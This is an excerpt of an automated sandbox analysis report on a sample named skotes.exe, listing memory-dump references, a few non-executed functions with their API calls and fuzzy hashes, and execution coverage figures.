Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2o
API String ID: 1464230837-2760472518
Opcode ID: 9cc66ccd38bfddd8491bf3bd3841c487a8d7c62ffca68ec2822e426ee4704c77
Instruction ID: 7670eb7ba58a6f6923fdd1a0acbfcf8028c032cf2c56ed6cc80666d2b451f8d9
Opcode Fuzzy Hash: 9cc66ccd38bfddd8491bf3bd3841c487a8d7c62ffca68ec2822e426ee4704c77
Instruction Fuzzy Hash: 8F2148317002449BFF089BACDC8576CBBABEBC1314F244219E508DBBD4CB765A808692

Non-executed Functions

Function 006CCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006CCC66

Strings

vl, xrefs: 006CCBE1

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vl
API String ID: 3213747228-3645925279
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: bf3f50399607ca427c2d8a53b31435ac0948c388bf40e27d1b47b3f6881d54bd
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: F7B103329046459FDB11CF68C841FFEBBA6EF4A360F1441AEE859DB341D6349D42CBA4

Function 00692EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00692F5F
__Mtx_unlock.LIBCPMT ref: 00692FCC
__Cnd_broadcast.LIBCPMT ref: 00692FE3
__Mtx_unlock.LIBCPMT ref: 006930F5
__Mtx_unlock.LIBCPMT ref: 0069319B

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: b7b2c6e37a96bd0240c05db2bcfca8eefea8c625ce7caefea533d67e53b7c4ce
Instruction ID: 04cc64f415b25e3605ee5b3d0642d13ddd00c4c9d9f808a0d1e98e8bcc12db80
Opcode Fuzzy Hash: b7b2c6e37a96bd0240c05db2bcfca8eefea8c625ce7caefea533d67e53b7c4ce
Instruction Fuzzy Hash: DEA1C170A01615AFDF21EF64C944BAAB7FAFF16324F048129E815D7B51EB31EA04CB91

Function 006ABB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 006ABBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 006ABBE4
_xtime_get.LIBCPMT ref: 006ABC07
__Xtime_diff_to_millis2.LIBCPMT ref: 006ABC13

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 89cd37c8eec8293584f6b4ab9ccb8e18fb23059ae53279cd9d9df9d29aa15464
Instruction ID: e33c62303ab160b84f54c5b304842113a3dc52c00c529879a39efe8211a090de
Opcode Fuzzy Hash: 89cd37c8eec8293584f6b4ab9ccb8e18fb23059ae53279cd9d9df9d29aa15464
Instruction Fuzzy Hash: D5211D71A00219AFDF00FBA4DC819BEB7BAEF0A720F101059F501AB251DB709D419FA4

Function 006CF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 006CF3A3

Strings

`'o, xrefs: 006CF375
8"o, xrefs: 006CF44B

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"o$`'o
API String ID: 3903695350-933842191
Opcode ID: 3a00a4d5ae036bc36d74e045e7195c9025937f03ed064251ff6aa66248beff31
Instruction ID: ef9ce2d450f9a4a8f505e0dfcd7f827ee58bde4eb0c6686d3ce86bd250f26e2a
Opcode Fuzzy Hash: 3a00a4d5ae036bc36d74e045e7195c9025937f03ed064251ff6aa66248beff31
Instruction Fuzzy Hash: BF316931600205EFEB24AB79D845FBB77EBEF00316F10842EE04AD7692DE30AC808B55

Analysis Process: skotes.exePID: 1436, Parent PID: 5784COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
